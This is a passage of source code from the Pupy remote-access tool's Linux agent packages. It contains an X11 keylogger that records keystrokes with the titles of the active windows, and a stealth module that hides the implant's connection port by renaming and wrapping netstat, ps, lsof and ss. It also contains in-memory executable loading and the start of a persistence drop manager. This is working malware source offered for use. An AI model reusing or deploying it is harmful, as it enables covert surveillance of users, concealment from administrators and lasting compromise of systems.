    0x0de3: u'\u0e43', 0x0de4: u'\u0e44', 0x0de5: u'\u0e45', 0x0de6: u'\u0e46', 0x0de7: u'\u0e47',
    0x0de8: u'\u0e48', 0x0de9: u'\u0e49', 0x0dea: u'\u0e4a', 0x0deb: u'\u0e4b', 0x0dec: u'\u0e4c',
    0x0ded: u'\u0e4d', 0x0df0: u'\u0e50', 0x0df1: u'\u0e51', 0x0df2: u'\u0e52', 0x0df3: u'\u0e53',
    0x0df4: u'\u0e54', 0x0df5: u'\u0e55', 0x0df6: u'\u0e56', 0x0df7: u'\u0e57', 0x0df8: u'\u0e58',
    0x0df9: u'\u0e59', 0x0ea1: u'\u3131', 0x0ea2: u'\u3132', 0x0ea3: u'\u3133', 0x0ea4: u'\u3134',
    0x0ea5: u'\u3135', 0x0ea6: u'\u3136', 0x0ea7: u'\u3137', 0x0ea8: u'\u3138', 0x0ea9: u'\u3139',
    0x0eaa: u'\u313a', 0x0eab: u'\u313b', 0x0eac: u'\u313c', 0x0ead: u'\u313d', 0x0eae: u'\u313e',
    0x0eaf: u'\u313f', 0x0eb0: u'\u3140', 0x0eb1: u'\u3141', 0x0eb2: u'\u3142', 0x0eb3: u'\u3143',
    0x0eb4: u'\u3144', 0x0eb5: u'\u3145', 0x0eb6: u'\u3146', 0x0eb7: u'\u3147', 0x0eb8: u'\u3148',
    0x0eb9: u'\u3149', 0x0eba: u'\u314a', 0x0ebb: u'\u314b', 0x0ebc: u'\u314c', 0x0ebd: u'\u314d',
    0x0ebe: u'\u314e', 0x0ebf: u'\u314f', 0x0ec0: u'\u3150', 0x0ec1: u'\u3151', 0x0ec2: u'\u3152',
    0x0ec3: u'\u3153', 0x0ec4: u'\u3154', 0x0ec5: u'\u3155', 0x0ec6: u'\u3156', 0x0ec7: u'\u3157',
    0x0ec8: u'\u3158', 0x0ec9: u'\u3159', 0x0eca: u'\u315a', 0x0ecb: u'\u315b', 0x0ecc: u'\u315c',
    0x0ecd: u'\u315d', 0x0ece: u'\u315e', 0x0ecf: u'\u315f', 0x0ed0: u'\u3160', 0x0ed1: u'\u3161',
    0x0ed2: u'\u3162', 0x0ed3: u'\u3163', 0x0ed4: u'\u11a8', 0x0ed5: u'\u11a9', 0x0ed6: u'\u11aa',
    0x0ed7: u'\u11ab', 0x0ed8: u'\u11ac', 0x0ed9: u'\u11ad', 0x0eda: u'\u11ae', 0x0edb: u'\u11af',
    0x0edc: u'\u11b0', 0x0edd: u'\u11b1', 0x0ede: u'\u11b2', 0x0edf: u'\u11b3', 0x0ee0: u'\u11b4',
    0x0ee1: u'\u11b5', 0x0ee2: u'\u11b6', 0x0ee3: u'\u11b7', 0x0ee4: u'\u11b8', 0x0ee5: u'\u11b9',
    0x0ee6: u'\u11ba', 0x0ee7: u'\u11bb', 0x0ee8: u'\u11bc', 0x0ee9: u'\u11bd', 0x0eea: u'\u11be',
    0x0eeb: u'\u11bf', 0x0eec: u'\u11c0', 0x0eed: u'\u11c1', 0x0eee: u'\u11c2', 0x0eef: u'\u316d',
    0x0ef0: u'\u3171', 0x0ef1: u'\u3178', 0x0ef2: u'\u317f', 0x0ef3: u'\u3181', 0x0ef4: u'\u3184',
    0x0ef5: u'\u3186', 0x0ef6: u'\u318d', 0x0ef7: u'\u318e', 0x0ef8: u'\u11eb', 0x0ef9: u'\u11f0',
    0x0efa: u'\u11f9', 0x0eff: u'\u20a9', 0x13bc: u'\u0152', 0x13bd: u'\u0153', 0x13be: u'\u0178',
    0x20a0: u'\u20a0', 0x20a1: u'\u20a1', 0x20a2: u'\u20a2', 0x20a3: u'\u20a3', 0x20a4: u'\u20a4',
    0x20a5: u'\u20a5', 0x20a6: u'\u20a6', 0x20a7: u'\u20a7', 0x20a8: u'\u20a8', 0x20a9: u'\u20a9',
    0x20aa: u'\u20aa', 0x20ab: u'\u20ab', 0x20ac: u'\u20ac', 0xfe50: u'\u0300', 0xfe51: u'\u0301',
    0xfe52: u'\u0302', 0xfe53: u'\u0303', 0xfe54: u'\u0304', 0xfe55: u'\u0306', 0xfe56: u'\u0307',
    0xfe57: u'\u0308', 0xfe58: u'\u030a', 0xfe59: u'\u030b', 0xfe5a: u'\u030c', 0xfe5b: u'\u0327',
    0xfe5c: u'\u0328', 0xfe5d: u'\u0345', 0xfe5e: u'\u3099', 0xfe5f: u'\u309a', 0xff08: u'\u0008',
    0xff09: u'\u0009', 0xff0a: u'\u000a', 0xff0b: u'\u000b', 0xff0d: u'\u000d', 0xff13: u'\u0013',
    0xff14: u'\u0014', 0xff15: u'\u0015', 0xff1b: u'\u001b', 0xff80: u'\u0020', 0xff89: u'\u0009',
    0xff8d: u'\u000d', 0xffaa: u'\u002a', 0xffab: u'\u002b', 0xffac: u'\u002c', 0xffad: u'\u002d',
    0xffae: u'\u002e', 0xffaf: u'\u002f', 0xffb0: u'\u0030', 0xffb1: u'\u0031', 0xffb2: u'\u0032',
    0xffb3: u'\u0033', 0xffb4: u'\u0034', 0xffb5: u'\u0035', 0xffb6: u'\u0036', 0xffb7: u'\u0037',
    0xffb8: u'\u0038', 0xffb9: u'\u0039', 0xffbd: u'\u003d', 0x06ad: u'\u0491', 0x06bd: u'\u0490',
    0x14a2: u'\u0587', 0x14a3: u'\u0589', 0x14a4: u'\u0029', 0x14a5: u'\u0028', 0x14a6: u'\u00bb',
    0x14a7: u'\u00ab', 0x14a8: u'\u2014', 0x14a9: u'\u002e', 0x14aa: u'\u055d', 0x14ab: u'\u002c',
    0x14ac: u'\u2013', 0x14ad: u'\u058a', 0x14ae: u'\u2026', 0x14af: u'\u055c', 0x14b0: u'\u055b',
    0x14b1: u'\u055e', 0x14b2: u'\u0531', 0x14b3: u'\u0561', 0x14b4: u'\u0532', 0x14b5: u'\u0562',
    0x14b6: u'\u0533', 0x14b7: u'\u0563', 0x14b8: u'\u0534', 0x14b9: u'\u0564', 0x14ba: u'\u0535',
    0x14bb: u'\u0565', 0x14bc: u'\u0536', 0x14bd: u'\u0566', 0x14be: u'\u0537', 0x14bf: u'\u0567',
    0x14c0: u'\u0538', 0x14c1: u'\u0568', 0x14c2: u'\u0539', 0x14c3: u'\u0569', 0x14c4: u'\u053a',
    0x14c5: u'\u056a', 0x14c6: u'\u053b', 0x14c7: u'\u056b', 0x14c8: u'\u053c', 0x14c9: u'\u056c',
    0x14ca: u'\u053d', 0x14cb: u'\u056d', 0x14cc: u'\u053e', 0x14cd: u'\u056e', 0x14ce: u'\u053f',
    0x14cf: u'\u056f', 0x14d0: u'\u0540', 0x14d1: u'\u0570', 0x14d2: u'\u0541', 0x14d3: u'\u0571',
    0x14d4: u'\u0542', 0x14d5: u'\u0572', 0x14d6: u'\u0543', 0x14d7: u'\u0573', 0x14d8: u'\u0544',
    0x14d9: u'\u0574', 0x14da: u'\u0545', 0x14db: u'\u0575', 0x14dc: u'\u0546', 0x14dd: u'\u0576',
    0x14de: u'\u0547', 0x14df: u'\u0577', 0x14e0: u'\u0548', 0x14e1: u'\u0578', 0x14e2: u'\u0549',
    0x14e3: u'\u0579', 0x14e4: u'\u054a', 0x14e5: u'\u057a', 0x14e6: u'\u054b', 0x14e7: u'\u057b',
    0x14e8: u'\u054c', 0x14e9: u'\u057c', 0x14ea: u'\u054d', 0x14eb: u'\u057d', 0x14ec: u'\u054e',
    0x14ed: u'\u057e', 0x14ee: u'\u054f', 0x14ef: u'\u057f', 0x14f0: u'\u0550', 0x14f1: u'\u0580',
    0x14f2: u'\u0551', 0x14f3: u'\u0581', 0x14f4: u'\u0552', 0x14f5: u'\u0582', 0x14f6: u'\u0553',
    0x14f7: u'\u0583', 0x14f8: u'\u0554', 0x14f9: u'\u0584', 0x14fa: u'\u0555', 0x14fb: u'\u0585',
    0x14fc: u'\u0556', 0x14fd: u'\u0586', 0x14fe: u'\u055a', 0x14ff: u'\u00a7', 0x15d0: u'\u10d0',
    0x15d1: u'\u10d1', 0x15d2: u'\u10d2', 0x15d3: u'\u10d3', 0x15d4: u'\u10d4', 0x15d5: u'\u10d5',
    0x15d6: u'\u10d6', 0x15d7: u'\u10d7', 0x15d8: u'\u10d8', 0x15d9: u'\u10d9', 0x15da: u'\u10da',
    0x15db: u'\u10db', 0x15dc: u'\u10dc', 0x15dd: u'\u10dd', 0x15de: u'\u10de', 0x15df: u'\u10df',
    0x15e0: u'\u10e0', 0x15e1: u'\u10e1', 0x15e2: u'\u10e2', 0x15e3: u'\u10e3', 0x15e4: u'\u10e4',
    0x15e5: u'\u10e5', 0x15e6: u'\u10e6', 0x15e7: u'\u10e7', 0x15e8: u'\u10e8', 0x15e9: u'\u10e9',
    0x15ea: u'\u10ea', 0x15eb: u'\u10eb', 0x15ec: u'\u10ec', 0x15ed: u'\u10ed', 0x15ee: u'\u10ee',
    0x15ef: u'\u10ef', 0x15f0: u'\u10f0', 0x15f1: u'\u10f1', 0x15f2: u'\u10f2', 0x15f3: u'\u10f3',
    0x15f4: u'\u10f4', 0x15f5: u'\u10f5', 0x15f6: u'\u10f6', 0x12a1: u'\u1e02', 0x12a2: u'\u1e03',
    0x12a6: u'\u1e0a', 0x12a8: u'\u1e80', 0x12aa: u'\u1e82', 0x12ab: u'\u1e0b', 0x12ac: u'\u1ef2',
    0x12b0: u'\u1e1e', 0x12b1: u'\u1e1f', 0x12b4: u'\u1e40', 0x12b5: u'\u1e41', 0x12b7: u'\u1e56',
    0x12b8: u'\u1e81', 0x12b9: u'\u1e57', 0x12ba: u'\u1e83', 0x12bb: u'\u1e60', 0x12bc: u'\u1ef3',
    0x12bd: u'\u1e84', 0x12be: u'\u1e85', 0x12bf: u'\u1e61', 0x12d0: u'\u0174', 0x12d7: u'\u1e6a',
    0x12de: u'\u0176', 0x12f0: u'\u0175', 0x12f7: u'\u1e6b', 0x12fe: u'\u0177', 0x0590: u'\u06f0',
    0x0591: u'\u06f1', 0x0592: u'\u06f2', 0x0593: u'\u06f3', 0x0594: u'\u06f4', 0x0595: u'\u06f5',
    0x0596: u'\u06f6', 0x0597: u'\u06f7', 0x0598: u'\u06f8', 0x0599: u'\u06f9', 0x05a5: u'\u066a',
    0x05a6: u'\u0670', 0x05a7: u'\u0679', 0x05a8: u'\u067e', 0x05a9: u'\u0686', 0x05aa: u'\u0688',
    0x05ab: u'\u0691', 0x05ae: u'\u06d4', 0x05b0: u'\u0660', 0x05b1: u'\u0661', 0x05b2: u'\u0662',
    0x05b3: u'\u0663', 0x05b4: u'\u0664', 0x05b5: u'\u0665', 0x05b6: u'\u0666', 0x05b7: u'\u0667',
    0x05b8: u'\u0668', 0x05b9: u'\u0669', 0x05f3: u'\u0653', 0x05f4: u'\u0654', 0x05f5: u'\u0655',
    0x05f6: u'\u0698', 0x05f7: u'\u06a4', 0x05f8: u'\u06a9', 0x05f9: u'\u06af', 0x05fa: u'\u06ba',
    0x05fb: u'\u06be', 0x05fc: u'\u06cc', 0x05fd: u'\u06d2', 0x05fe: u'\u06c1', 0x0680: u'\u0492',
    0x0681: u'\u0496', 0x0682: u'\u049a', 0x0683: u'\u049c', 0x0684: u'\u04a2', 0x0685: u'\u04ae',
    0x0686: u'\u04b0', 0x0687: u'\u04b2', 0x0688: u'\u04b6', 0x0689: u'\u04b8', 0x068a: u'\u04ba',
    0x068c: u'\u04d8', 0x068d: u'\u04e2', 0x068e: u'\u04e8', 0x068f: u'\u04ee', 0x0690: u'\u0493',
    0x0691: u'\u0497', 0x0692: u'\u049b', 0x0693: u'\u049d', 0x0694: u'\u04a3', 0x0695: u'\u04af',
    0x0696: u'\u04b1', 0x0697: u'\u04b3', 0x0698: u'\u04b7', 0x0699: u'\u04b9', 0x069a: u'\u04bb',
    0x069c: u'\u04d9', 0x069d: u'\u04e3', 0x069e: u'\u04e9', 0x069f: u'\u04ef', 0x16a3: u'\u1e8a',
    0x16a6: u'\u012c', 0x16a9: u'\u01b5', 0x16aa: u'\u01e6', 0x16af: u'\u019f', 0x16b3: u'\u1e8b',
    0x16b6: u'\u012d', 0x16b9: u'\u01b6', 0x16ba: u'\u01e7', 0x16bd: u'\u01d2', 0x16bf: u'\u0275',
    0x16c6: u'\u018f', 0x16f6: u'\u0259', 0x16d1: u'\u1e36', 0x16e1: u'\u1e37', 0x1ea0: u'\u1ea0',
    0x1ea1: u'\u1ea1', 0x1ea2: u'\u1ea2', 0x1ea3: u'\u1ea3', 0x1ea4: u'\u1ea4', 0x1ea5: u'\u1ea5',
    0x1ea6: u'\u1ea6', 0x1ea7: u'\u1ea7', 0x1ea8: u'\u1ea8', 0x1ea9: u'\u1ea9', 0x1eaa: u'\u1eaa',
    0x1eab: u'\u1eab', 0x1eac: u'\u1eac', 0x1ead: u'\u1ead', 0x1eae: u'\u1eae', 0x1eaf: u'\u1eaf',
    0x1eb0: u'\u1eb0', 0x1eb1: u'\u1eb1', 0x1eb2: u'\u1eb2', 0x1eb3: u'\u1eb3', 0x1eb4: u'\u1eb4',
    0x1eb5: u'\u1eb5', 0x1eb6: u'\u1eb6', 0x1eb7: u'\u1eb7', 0x1eb8: u'\u1eb8', 0x1eb9: u'\u1eb9',
    0x1eba: u'\u1eba', 0x1ebb: u'\u1ebb', 0x1ebc: u'\u1ebc', 0x1ebd: u'\u1ebd', 0x1ebe: u'\u1ebe',
    0x1ebf: u'\u1ebf', 0x1ec0: u'\u1ec0', 0x1ec1: u'\u1ec1', 0x1ec2: u'\u1ec2', 0x1ec3: u'\u1ec3',
    0x1ec4: u'\u1ec4', 0x1ec5: u'\u1ec5', 0x1ec6: u'\u1ec6', 0x1ec7: u'\u1ec7', 0x1ec8: u'\u1ec8',
    0x1ec9: u'\u1ec9', 0x1eca: u'\u1eca', 0x1ecb: u'\u1ecb', 0x1ecc: u'\u1ecc', 0x1ecd: u'\u1ecd',
    0x1ece: u'\u1ece', 0x1ecf: u'\u1ecf', 0x1ed0: u'\u1ed0', 0x1ed1: u'\u1ed1', 0x1ed2: u'\u1ed2',
    0x1ed3: u'\u1ed3', 0x1ed4: u'\u1ed4', 0x1ed5: u'\u1ed5', 0x1ed6: u'\u1ed6', 0x1ed7: u'\u1ed7',
    0x1ed8: u'\u1ed8', 0x1ed9: u'\u1ed9', 0x1eda: u'\u1eda', 0x1edb: u'\u1edb', 0x1edc: u'\u1edc',
    0x1edd: u'\u1edd', 0x1ede: u'\u1ede', 0x1edf: u'\u1edf', 0x1ee0: u'\u1ee0', 0x1ee1: u'\u1ee1',
    0x1ee2: u'\u1ee2', 0x1ee3: u'\u1ee3', 0x1ee4: u'\u1ee4', 0x1ee5: u'\u1ee5', 0x1ee6: u'\u1ee6',
    0x1ee7: u'\u1ee7', 0x1ee8: u'\u1ee8', 0x1ee9: u'\u1ee9', 0x1eea: u'\u1eea', 0x1eeb: u'\u1eeb',
    0x1eec: u'\u1eec', 0x1eed: u'\u1eed', 0x1eee: u'\u1eee', 0x1eef: u'\u1eef', 0x1ef0: u'\u1ef0',
    0x1ef1: u'\u1ef1', 0x1ef4: u'\u1ef4', 0x1ef5: u'\u1ef5', 0x1ef6: u'\u1ef6', 0x1ef7: u'\u1ef7',
    0x1ef8: u'\u1ef8', 0x1ef9: u'\u1ef9', 0x1efa: u'\u01a0', 0x1efb: u'\u01a1', 0x1efc: u'\u01af',
    0x1efd: u'\u01b0', 0x1e9f: u'\u0303', 0x1ef2: u'\u0300', 0x1ef3: u'\u0301', 0x1efe: u'\u0309',
    0x1eff: u'\u0323', 0xfe60: u'\u0323', 0xfe61: u'\u0309', 0xfe62: u'\u031b',
}


def keysym_to_unicode(ks):
    return KEYSYM_TO_UNICODE_TABLE.get(ks)


def keylogger_start(event_id=None):
    if pupy.agent.manager.active(KeyLogger):
        return False

    try:
        pupy.agent.manager.create(KeyLogger, event_id=event_id)
    except:
        return 'no_x11'

    return True


def keylogger_dump():
    keylogger = pupy.agent.manager.get(KeyLogger)
    if keylogger:
        return keylogger.results


def keylogger_stop():
    keylogger = pupy.agent.manager.get(KeyLogger)
    if keylogger:
        pupy.agent.manager.stop(KeyLogger)
        return keylogger.results


class NotAvailable(Exception):
    pass


class KeyLogger(pupy.Task):
    results_type = unicode

    def __init__(self, *args, **kwargs):
        super(KeyLogger, self).__init__(*args, **kwargs)
        global x11, xi

        self.daemon = False
        self.last_window = None
        self.last_clipboard = ""
        self.state = set()
        self.group = 0
        self.level = 0
        self.display = None
        self.x11 = x11
        self.xi = xi
        self._fatal_error_cb = self.fatal_error_handler
        self._error_cb = self.error_handler

        XkbEventCode = ct.c_int(0)
        XkbErrorReturn = ct.c_int(0)
        XkbMajorVersion = ct.c_int(1)
        XkbMinorVersion = ct.c_int(0)
        XkbReasonReturn = ct.c_int(0)

        if self.x11:
            self.display = x11.XkbOpenDisplay(
                os.environ.get('DISPLAY'),
                ct.pointer(XkbEventCode), ct.pointer(XkbErrorReturn),
                ct.pointer(XkbMajorVersion), ct.pointer(XkbMinorVersion),
                ct.pointer(XkbReasonReturn)
            )

        if self.display:
            self.x11.XSetErrorHandler(
                ct.CFUNCTYPE(ct.c_int, ct.c_void_p, ct.c_void_p)(self._error_cb)
            )
            self.x11.XSetIOErrorHandler(
                ct.CFUNCTYPE(ct.c_int, ct.c_void_p)(self._fatal_error_cb)
            )
        else:
            self.stop()
            raise NotAvailable()

    def _fatal_error_handler(self, error):
        self.stop()
        # Stupid libX11 will kill our application now, so let's try to reexec self
        try:
            executable = os.readlink('/proc/self/exe')
            args = open('/proc/self/cmdline').read().split('\x00')
        except:
            executable = sys.executable
            args = sys.argv

        os.execv(executable, args)
        return 0

    @property
    def fatal_error_handler(self):
        def __handler(error):
            return self._fatal_error_handler(error)

        return __handler

    @property
    def error_handler(self):
        def __handler(display, error):
            self.stop()

        return __handler

    def get_active_window(self):
        if not self.display:
            raise NotAvailable()

        window = ct.c_ulong()
        dw = ct.c_int()

        if not (self.x11.XGetInputFocus(
            self.display, ct.pointer(window), ct.pointer(dw)
        ) and window):
            return

        return window

    def get_window_title(self, window):
        if not self.display:
            raise NotAvailable()

        if not window:
            return

        hint = ClassHint()
        if self.x11.XGetClassHint(self.display, window, ct.pointer(hint)):
            return hint.name

    def get_active_window_title(self):
        return self.get_window_title(self.get_active_window())

    def append(self, k):
        if k:
            window = self.get_active_window_title()
            if self.last_window != window:
                self.last_window = window
                super(KeyLogger, self).append(
                    '\n{}: {}\n'.format(time(),str(window))
                )

            super(KeyLogger, self).append(k)

    def poll(self, callback, sleep_interval=.01):
        while self.active:
            sleep(sleep_interval)
            released, group, level = self.fetch_keys_poll()
            callback(self.to_keysyms(released, group, level))

    def xinput(self, callback):
        if not self.xi or not self.display:
            raise NotAvailable()

        xi_opcode = ct.c_int()
        xi_event = ct.c_int()
        xi_error = ct.c_int()

        if not self.x11.XQueryExtension(
            self.display,
            'XInputExtension',
            ct.pointer(xi_opcode), ct.pointer(xi_event), ct.pointer(xi_error)
        ):
            return NotAvailable()

        root_win = self.x11.XDefaultRootWindow(self.display)

        eventmask = XiEventMask()
        eventmask.deviceid = 0
        eventmask.mask_len = XiMaxLen()

        mask = (ct.c_byte*eventmask.mask_len)()
        XiSetMask(mask, 2)   # KeyPress
        # XiSetMask(mask, 3)   # KeyRelease
        # XiSetMask(mask, 14)   # RawKeyRelease
        eventmask.mask = ct.cast(ct.pointer(mask), ct.c_void_p)
        self.xi.XISelectEvents(self.display, root_win, ct.cast(ct.pointer(eventmask), ct.c_void_p), 1)
        self.x11.XMapWindow(self.display, root_win)
        self.x11.XSync(self.display, 0)

        while self.active:
            event = XEvent()
            self.x11.XNextEvent(self.display, ct.pointer(event))
            self.x11.XGetEventData(self.display, ct.pointer(event.cookie))
            if event.cookie.type == 35 and event.cookie.extension == xi_opcode.value:
                xievent = ct.cast(event.cookie.data, ct.POINTER(XIDeviceEvent)).contents
                callback(self.to_keysyms(
                    [xievent.detail],
                    xievent.group.effective,
                    xievent.mods.effective))

            self.x11.XFreeEventData(self.display, ct.pointer(event.cookie))

        self.x11.XDestroyWindow(self.display, root_win)

    def task(self):
        try:
            self.xinput(self.append)
        except NotAvailable:
            self.poll(self.append)

    def fetch_keys_poll(self):
        if not self.display:
            raise NotAvailable()

        state = XkbState()
        self.x11.XkbGetState(self.display, 0x0100, ct.pointer(state))

        group = ord(state.group)
        level = ord(state.locked_mods) & 1

        keyboard = ct.c_buffer(32)
        self.x11.XQueryKeymap(self.display, keyboard)
        current = set()

        for byte, value in enumerate(keyboard):
            value = ord(value)
            if not value:
                continue

            for bit in xrange(8):
                if value & (1 << bit):
                    current.add(byte*8 + bit)

        released = set(x for x in self.state if x not in current and x)

        self.state = current
        group, self.group = self.group, group
        level, self.level = self.level, level

        return released, group, level

    def to_keysyms(self, released, group, level):
        if not self.display:
            raise NotAvailable()

        keys = set()
        level = level & 1

        for k in set(released):
            # We incorrectly guess level here, but in 99% real life cases shift means level1
            # Also some things may not be available in group, so fallback to default one
            ks = self.x11.XkbKeycodeToKeysym(self.display, k, group, level)
            if not ks:
                ks = self.x11.XkbKeycodeToKeysym(self.display, k, 0, level)
            if not ks:
                ks = self.x11.XkbKeycodeToKeysym(self.display, k, 0, 0)

            if ((ks >> 8) & 0xFF) == 0xFE or ks in (0xffe2, 0xffe3, 0xffe5, 0xffe6):
                # Ignore group shifts and shift key info
                continue

            uks = keysym_to_unicode(ks)
            xk = keysym_to_XK(ks)
            if xk:
                keys.add(u'<{}>'.format(xk))
            elif uks:
                keys.add(uks)
            elif ks:
                keys.add(u'{{{}}}'.format(ks))

        return u''.join(keys)

    def __del__(self):
        if self.display:
            self.x11.XCloseDisplay(self.display)
            self.display = None


================================================
FILE: pupy/packages/linux/all/linux_stealth.py
================================================
#!/usr/bin/env python

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
import subprocess
import os
import time


def run(port=None):
    if port is None:
        raise Exception("pupy connect back port couldn't be found, please precise it manually")

    print("hidding port %s ..."%port)

    a=subprocess.check_output(["netstat", "-tn"])
    if port in a:
        def cmd_exists(cmd):
            return subprocess.call("type " + cmd, shell=True,
            stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0
        if cmd_exists("gcc") is True:
            bash=r"""which netstat ps lsof|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,"|gcc -xc - -o$o";print F qq{int main(int a,char**b){char*c[999999]={"sh","-c","$_ \$*|grep -vE \\"""+'"'+port+r"""|\$\$|[$s-$n]|grep\\\\""};memcpy(c+3,b,8*a);execv("/bin/sh",c);}}'"""
            with open('/tmp/b', 'w') as f:
                f.write(bash)
                f.close()
            os.system("bash /tmp/b")
            time.sleep(3)
            os.remove("/tmp/b")
        else:
            bash=r"""which netstat ps lsof |perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|"""+port+"""\\\\"";chmod 493,$o'"""
            with open("/tmp/p", "w") as f:
                f.write(bash)
                f.close()
            os.system("bash /tmp/p")
            time.sleep(3)
            os.remove("/tmp/p")
        bashss="""#!/bin/bash
/bin/zss $* | grep -v """+port
        get_ss_path=subprocess.check_output('which ss', shell=True)
        path=get_ss_path[:-3]
        os.system("mv "+path+"ss "+path+"zss")
        with open(path+"ss", "w") as newss:
            newss.write(bashss)
            newss.close()
        os.system("chmod +x "+path+"ss")
    else:
        print("port is already hidden")


================================================
FILE: pupy/packages/linux/all/mapped.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
try:
    from _pupy import pathmap
    from pupy._linux_memfd import (
        memfd_is_supported, memfd_create
    )

except ImportError:
    raise ValueError('PathMap not supproted')


if not memfd_is_supported():
    raise ValueError('Memfd is not supported')


MAPPED_FDS = {}


def create_mapped_file(path, data):
    if path in MAPPED_FDS:
        raise ValueError('Mapped file {} exists'.format(path))

    fd, filepath = memfd_create()

    pathmap[path] = filepath
    MAPPED_FDS[path] = fd

    fd.write(data)
    fd.flush()


def close_mapped_file(path):
    if path not in MAPPED_FDS:
        raise ValueError('File {} is not mapped'.format(path))

    MAPPED_FDS[path].close()

    del MAPPED_FDS[path]
    del pathmap[path]


================================================
FILE: pupy/packages/linux/all/memexec.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import os
import threading
import zlib

from select import select
from pupy.agent import mexec
from fcntl import fcntl, F_GETFL, F_SETFL
from os import O_NONBLOCK
from pupy.network.lib.pupyrpc import nowait


class MExec(object):
    def __init__(self, data, argv0, args=[], no_stdin=True, no_stdor=False, redirect_stdio=True, compressed=False, terminate=True):
        self.argv = [argv0] + [x for x in args]
        self.data = zlib.decompress(data) if compressed else compressed
        self.redirect_stdio = redirect_stdio
        self.no_stdin = no_stdin
        self.no_stdor = no_stdor
        self.stdin = None
        self.stdout = None
        self.stderr = None
        self.terminate = terminate
        self.on_exit = None
        self.pid = -1
        self.EOF = threading.Event()
        self._saved_stdout = ''
        self._closed = False

    def close(self):
        if self._closed:
            return

        if self.stdin:
            try:
                self.stdin.close()
            except IOError:
                pass

        if self.pid and self.terminate:
            try:
                os.kill(self.pid, 9)
            except OSError:
                pass

            self.pid = None

        if self.stdout:
            try:
                self._saved_stdout = self.stdout.read()
            except IOError:
                pass

            try:
                self.stdout.close()
            except IOError:
                pass

        if self.stderr:
            try:
                self._saved_stdout = self._saved_stdout + self.stderr.read()
            except IOError:
                pass

            try:
                self.stderr.close()
            except IOError:
                pass

        if self.on_exit:
            try:
                self.on_exit()
            except:
                pass

        self.EOF.set()
        self._closed = True

    def __del__(self):
        self.close()

    def write(self, data):
        try:
            self.stdin.write(data)
            self.stdin.flush()
        except:
            self.EOF.set()

    def get_stdout(self):
        if self.no_stdor:
            raise ValueError('You need to specify no_stdor=False to run get_stdout()')

        if self._closed:
            return self._saved_stdout

        if not self.no_stdin:
            self.stdin.close()

        output = self.stdout.read()
        error = self.stderr.read()

        self.stdout.close()
        self.stderr.close()

        self._saved_stdout = output + error
        self._closed = True
        self.EOF.set()

        return self._saved_stdout

    def execute(self, on_exit, on_read):
        if self.run():
            on_exit = nowait(on_exit)
            on_read = nowait(on_read)

            self.on_exit = on_exit

            loop = threading.Thread(
                target=self.stdor_loop,
                args=(on_exit, on_read))
            loop.daemon = True
            loop.start()

            return True
        else:
            return False


    def stdor_loop(self, on_exit, on_read):

        if self.no_stdor:
            raise ValueError('You need to specify no_stdor=False to run stdor_loop')

        try:
            flags = fcntl(self.stdout, F_GETFL)
            fcntl(self.stdout, F_SETFL, flags | O_NONBLOCK)

            flags = fcntl(self.stderr, F_GETFL)
            fcntl(self.stderr, F_SETFL, flags | O_NONBLOCK)

            fds = [self.stderr, self.stdout]

            while fds and not self.EOF.is_set():
                r, _, _ = select(fds, [], [], 5)
                if not r and not self.EOF.is_set():
                    continue

                for f in r:
                    data = os.read(f.fileno(), 512)
                    if data:
                        on_read(data)
                    else:
                        fds.remove(f)
        except:
            pass

        finally:
            try:
                on_exit()
            except:
                pass

            self.EOF.set()
            self.close()

    def get_shell(self, on_read, on_exit):
        if self.no_stdin:
            raise ValueError('You need to specify no_stdin=False to use shell')

        if self.no_stdor:
            raise ValueError('You need to specify no_stdor=False to use shell')

        reader = threading.Thread(
            target=self.stdor_loop, args=(
                nowait(on_read), nowait(on_exit)))
        reader.daemon = True
        reader.start()

        return self.stdin

    def run(self):
        try:
            pid, stdior = mexec(
                self.data, self.argv,
                self.redirect_stdio, True
            )
        except:
            return False

        self.pid = pid
        self.stdin, self.stdout, self.stderr = stdior

        if not self.redirect_stdio:
            return True

        if self.no_stdin:
            self.stdin.close()
            self.stdin = None

        if self.no_stdor:
            self.stdout.close()
            self.stdout = None
            self.stderr.close()
            self.stderr = None

        return True


================================================
FILE: pupy/packages/linux/all/notify.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import dbus

def notification(text, title='', timeout=5, app='System', icon='', actions='', hint=''):
    idnum = 0
    title = title or ''

    bus = dbus.SessionBus()
    notif = bus.get_object(
        'org.freedesktop.Notifications',
        '/org/freedesktop/Notifications'
    )
    notify = dbus.Interface(notif, 'org.freedesktop.Notifications')
    notify.Notify(
        app, idnum, icon, title, text, actions, hint, timeout*1000
    )


================================================
FILE: pupy/packages/linux/all/persistence.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import os
import subprocess
import random
import stat
import pwd

from io import open

if sys.version_info.major > 2:
    xrange = range


class DropManager(object):
    def __init__(self):
        self._is_systemd = False
        self._systemd_error = None
        self._is_xdg = False
        self._xdg_error = None
        self._uid = os.geteuid()
        self._user = self._uid != 0
        try:
            self._home = pwd.getpwuid(self._uid).pw_dir
        except:
            self._home = None

        self._home = self._home or os.path.expanduser('~')

        self._devnull = open(os.devnull, 'rb')
        self._rc = []
        self._rc_error = None

        self._check_xdg()
        self._check_rc()
        self._check_systemd()

    def _find_executable(self, name):
        for path in [
                '/bin',
                '/sbin',
                '/usr/bin',
                '/usr/sbin',
                '/usr/local/bin',
                '/usr/local/sbin',
                '/usr/libexec',
                '/usr/lib',
                '/usr'
        ]:
            for root, dirs, files in os.walk(path):
                for file in files:
                    if file == name:
                        return os.path.join(root, file)


    def _check_xdg(self):
        try:
            self._is_xdg = (
                subprocess.check_call(
                    ['xdg-open', '--version'],
                    stdout=self._devnull,
                    stderr=self._devnull) == 0)

            self._is_xdg = True
        except (subprocess.CalledProcessError, OSError) as e:
            self._is_xdg = False
            self._xdg_error = str(e)

